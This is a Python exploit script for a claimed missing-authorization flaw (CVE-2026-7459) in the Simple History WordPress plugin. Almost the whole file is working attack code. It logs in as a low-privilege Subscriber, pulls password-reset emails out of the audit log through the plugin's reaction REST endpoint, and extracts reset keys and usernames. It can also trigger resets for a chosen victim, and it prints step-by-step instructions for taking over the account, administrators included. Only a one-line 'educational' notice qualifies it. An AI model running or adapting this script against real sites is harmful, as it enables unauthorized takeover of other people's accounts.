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| #!/usr/bin/env python3
"""
CVE-2026-7459 Simple History Missing Authorization Account Takeover Exploit
CVSS: 7.5 (High)
Subscriber-level attackers can bypass authorization on the reaction REST endpoint
to read password-reset emails from the audit log, including the reset key.
This allows complete account takeover of any user, including administrators.
Legal Notice: Educational and authorized testing only.
"""
import requests
import re
import sys
import argparse
import time
import json
from urllib.parse import urljoin, quote, urlparse
from bs4 import BeautifulSoup
class SimpleHistoryExploit:
def __init__(self, target_url, username, password, verbose=False):
self.target_url = target_url.rstrip('/')
self.username = username
self.password = password
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
self.auth_token = None
self.user_id = None
def log(self, message, level="INFO"):
"""Log messages based on verbosity"""
if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]:
print(f"[{level}] {message}")
def login(self):
"""Authenticate as Subscriber user"""
self.log("Attempting to authenticate as Subscriber...")
login_url = urljoin(self.target_url, '/wp-login.php')
try:
# Get login page
resp = self.session.get(login_url, timeout=10)
# Prepare login payload
login_data = {
'log': self.username,
'pwd': self.password,
'wp-submit': 'Log In',
'redirect_to': urljoin(self.target_url, '/wp-admin/'),
'testcookie': '1'
}
resp = self.session.post(login_url, data=login_data, timeout=15, allow_redirects=True)
# Check if login was successful
if 'wp-admin' in resp.url or 'dashboard' in resp.text.lower():
self.log("Authentication successful!", "SUCCESS")
# Extract user ID
user_id_match = re.search(r'user_id["\']?\s*[=:]\s*["\']?(\d+)["\']?', resp.text)
if user_id_match:
self.user_id = user_id_match.group(1)
self.log(f"User ID: {self.user_id}", "INFO")
return True
else:
self.log("Authentication failed", "ERROR")
return False
except Exception as e:
self.log(f"Login error: {e}", "ERROR")
return False
def check_experimental_features(self):
"""Check if experimental features are enabled"""
self.log("Checking if experimental features are enabled...")
try:
# Try to access the reaction endpoint
api_url = urljoin(
self.target_url,
'/wp-json/simple-history/v1/events/1/react'
)
resp = self.session.post(
api_url,
json={'type': 'thumbs_up'},
timeout=10
)
# If we get 404 with 'rest_reactions_disabled', features are off
if resp.status_code == 404 and 'rest_reactions_disabled' in resp.text:
self.log("Experimental features are DISABLED", "ERROR")
return False
# Any other response means features might be enabled
self.log("Experimental features appear to be ENABLED", "SUCCESS")
return True
except Exception as e:
self.log(f"Error checking experimental features: {e}")
return True # Assume enabled and continue
def enumerate_events(self, limit=100):
"""Enumerate audit log events"""
self.log(f"Enumerating audit log events (limit: {limit})...")
events = []
try:
api_url = urljoin(self.target_url, '/wp-json/simple-history/v1/events')
params = {
'per_page': limit,
'_fields': 'id,logger,action,date'
}
resp = self.session.get(api_url, params=params, timeout=15)
if resp.status_code == 200:
try:
events_data = resp.json()
if isinstance(events_data, list):
events = events_data
self.log(f"Found {len(events)} events", "SUCCESS")
else:
self.log("Unexpected response format", "ERROR")
except json.JSONDecodeError:
self.log("Failed to parse JSON response", "ERROR")
else:
self.log(f"Failed to enumerate events: {resp.status_code}", "ERROR")
except Exception as e:
self.log(f"Error enumerating events: {e}", "ERROR")
return events
def find_password_reset_events(self, events=None):
"""Find password reset events in the audit log"""
self.log("Searching for password reset events...")
if not events:
events = self.enumerate_events()
reset_events = []
for event in events:
if isinstance(event, dict):
# Look for password reset related events
logger = event.get('logger', '').lower()
action = event.get('action', '').lower()
if 'password' in logger or 'password' in action or \
'reset' in logger or 'reset' in action or \
'user_requested_password_reset' in action:
reset_events.append(event)
self.log(f"Found reset event: ID={event.get('id')}, Action={action}", "INFO")
return reset_events
def read_event_context(self, event_id):
"""Read full event context via reaction endpoint"""
self.log(f"Reading event context for event ID: {event_id}...")
try:
# Use the vulnerable reaction endpoint
api_url = urljoin(
self.target_url,
f'/wp-json/simple-history/v1/events/{event_id}/react'
)
# Request with _fields=context to get sensitive data
params = {
'_fields': 'context,id,logger,action,date'
}
data = {
'type': 'thumbs_up'
}
resp = self.session.post(api_url, json=data, params=params, timeout=15)
self.log(f"Response Status: {resp.status_code}", "INFO")
if resp.status_code == 200:
try:
event_data = resp.json()
self.log(f"Event context retrieved successfully!", "SUCCESS")
return event_data
except json.JSONDecodeError:
self.log("Failed to parse JSON response", "ERROR")
return None
else:
self.log(f"Failed to read context: {resp.status_code}", "ERROR")
self.log(f"Response: {resp.text[:300]}", "INFO")
return None
except Exception as e:
self.log(f"Error reading event context: {e}", "ERROR")
return None
def extract_reset_key(self, email_body):
"""Extract password reset key from email body"""
self.log("Extracting password reset key from email body...")
# Look for reset key in various formats
patterns = [
r'key=([a-zA-Z0-9]+)',
r'action=rp&key=([a-zA-Z0-9]+)',
r'reset.*?key["\']?\s*[=:]\s*["\']?([a-zA-Z0-9]+)["\']?',
r'https?://[^\s]+key=([a-zA-Z0-9]+)'
]
for pattern in patterns:
match = re.search(pattern, email_body)
if match:
reset_key = match.group(1)
self.log(f"Reset key extracted: {reset_key}", "SUCCESS")
return reset_key
self.log("Could not extract reset key", "ERROR")
return None
def extract_username(self, email_body):
"""Extract username from email body"""
self.log("Extracting username from email body...")
# Look for login parameter
patterns = [
r'login=([a-zA-Z0-9_-]+)',
r'user["\']?\s*[=:]\s*["\']?([a-zA-Z0-9_-]+)["\']?'
]
for pattern in patterns:
match = re.search(pattern, email_body)
if match:
username = match.group(1)
self.log(f"Username extracted: {username}", "SUCCESS")
return username
self.log("Could not extract username", "ERROR")
return None
def generate_reset_url(self, username, reset_key):
"""Generate password reset URL"""
reset_url = urljoin(
self.target_url,
f'/wp-login.php?action=rp&key={reset_key}&login={quote(username)}'
)
return reset_url
def exploit_account(self, target_username=None):
"""Execute full exploit chain"""
print("\n" + "="*70)
print("CVE-2026-7459 Simple History Missing Authorization Account Takeover")
print("="*70 + "\n")
# Step 1: Login as Subscriber
if not self.login():
return False
# Step 2: Check experimental features
if not self.check_experimental_features():
self.log("Exploit requires experimental features to be enabled", "CRITICAL")
return False
# Step 3: Enumerate events
events = self.enumerate_events()
if not events:
self.log("Could not enumerate events", "ERROR")
return False
# Step 4: Find password reset events
reset_events = self.find_password_reset_events(events)
if not reset_events:
self.log("No password reset events found", "ERROR")
self.log("Trying to trigger a password reset...", "INFO")
# In real scenario, we'd need to trigger a reset first
return False
# Step 5: Read event context via vulnerable endpoint
for event in reset_events:
event_id = event.get('id')
self.log(f"\nAttempting to read context for event {event_id}...", "INFO")
event_data = self.read_event_context(event_id)
if not event_data:
continue
# Step 6: Extract reset key and username
context = event_data.get('context', {})
if isinstance(context, dict):
email_body = context.get('message', '')
else:
email_body = str(context)
if not email_body:
self.log("No email body found in context", "ERROR")
continue
self.log(f"Email body (first 200 chars): {email_body[:200]}", "INFO")
reset_key = self.extract_reset_key(email_body)
username = self.extract_username(email_body)
if not reset_key or not username:
self.log("Could not extract reset key or username", "ERROR")
continue
# Step 7: Generate reset URL
reset_url = self.generate_reset_url(username, reset_key)
print("\n" + "="*70)
print("EXPLOITATION SUCCESSFUL")
print("="*70)
print(f"Target: {self.target_url}")
print(f"Victim Username: {username}")
print(f"Reset Key: {reset_key}")
print(f"\nPassword Reset URL:")
print(f"{reset_url}")
print(f"\nNext Steps:")
print(f"1. Visit the reset URL above")
print(f"2. Set a new password")
print(f"3. Log in as {username}")
print("="*70 + "\n")
return True
return False
def trigger_password_reset(self, target_username):
"""Trigger a password reset for a target user"""
self.log(f"Triggering password reset for user: {target_username}...")
try:
# Access the forgot password form
forgot_url = urljoin(self.target_url, '/wp-login.php?action=lostpassword')
resp = self.session.get(forgot_url, timeout=10)
if resp.status_code != 200:
self.log("Could not access forgot password form", "ERROR")
return False
# Submit password reset request
reset_data = {
'user_login': target_username,
'wp-submit': 'Get New Password'
}
resp = self.session.post(forgot_url, data=reset_data, timeout=15)
if resp.status_code == 200:
self.log("Password reset triggered", "SUCCESS")
time.sleep(2) # Wait for log entry
return True
else:
self.log("Failed to trigger password reset", "ERROR")
return False
except Exception as e:
self.log(f"Error triggering password reset: {e}", "ERROR")
return False
class EventAnalyzer:
"""Analyze audit log events"""
@staticmethod
def filter_by_logger(events, logger_name):
"""Filter events by logger"""
return [e for e in events if e.get('logger') == logger_name]
@staticmethod
def filter_by_action(events, action_name):
"""Filter events by action"""
return [e for e in events if action_name in e.get('action', '')]
@staticmethod
def filter_by_date_range(events, start_date, end_date):
"""Filter events by date range"""
filtered = []
for event in events:
event_date = event.get('date', '')
if start_date <= event_date <= end_date:
filtered.append(event)
return filtered
@staticmethod
def get_user_events(events, user_id):
"""Get events for specific user"""
return [e for e in events if str(user_id) in str(e.get('context', {}))]
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-7459 Simple History Missing Authorization Account Takeover'
)
parser.add_argument('target', help='Target URL (e.g., https://example.com)')
parser.add_argument('-u', '--username', required=True, help='Subscriber username')
parser.add_argument('-p', '--password', required=True, help='Subscriber password')
parser.add_argument('-t', '--target-user', help='Target username to takeover (optional)')
parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
parser.add_argument('--enumerate', action='store_true', help='Enumerate events only')
parser.add_argument('--trigger', metavar='USERNAME', help='Trigger password reset for user')
parser.add_argument('--read-event', type=int, metavar='EVENT_ID', help='Read specific event context')
args = parser.parse_args()
# Create exploit instance
exploit = SimpleHistoryExploit(
args.target,
args.username,
args.password,
verbose=args.verbose
)
# Enumerate only
if args.enumerate:
if not exploit.login():
sys.exit(1)
events = exploit.enumerate_events()
print(f"\n[+] Found {len(events)} events:")
for event in events:
print(f" ID: {event.get('id')}, Logger: {event.get('logger')}, Action: {event.get('action')}")
sys.exit(0)
# Trigger password reset
if args.trigger:
if not exploit.login():
sys.exit(1)
exploit.trigger_password_reset(args.trigger)
sys.exit(0)
# Read specific event
if args.read_event:
if not exploit.login():
sys.exit(1)
event_data = exploit.read_event_context(args.read_event)
if event_data:
print(json.dumps(event_data, indent=2))
sys.exit(0)
# Full exploit
success = exploit.exploit_account(args.target_user)
sys.exit(0 if success else 1)
if __name__ == '__main__':
main()
|
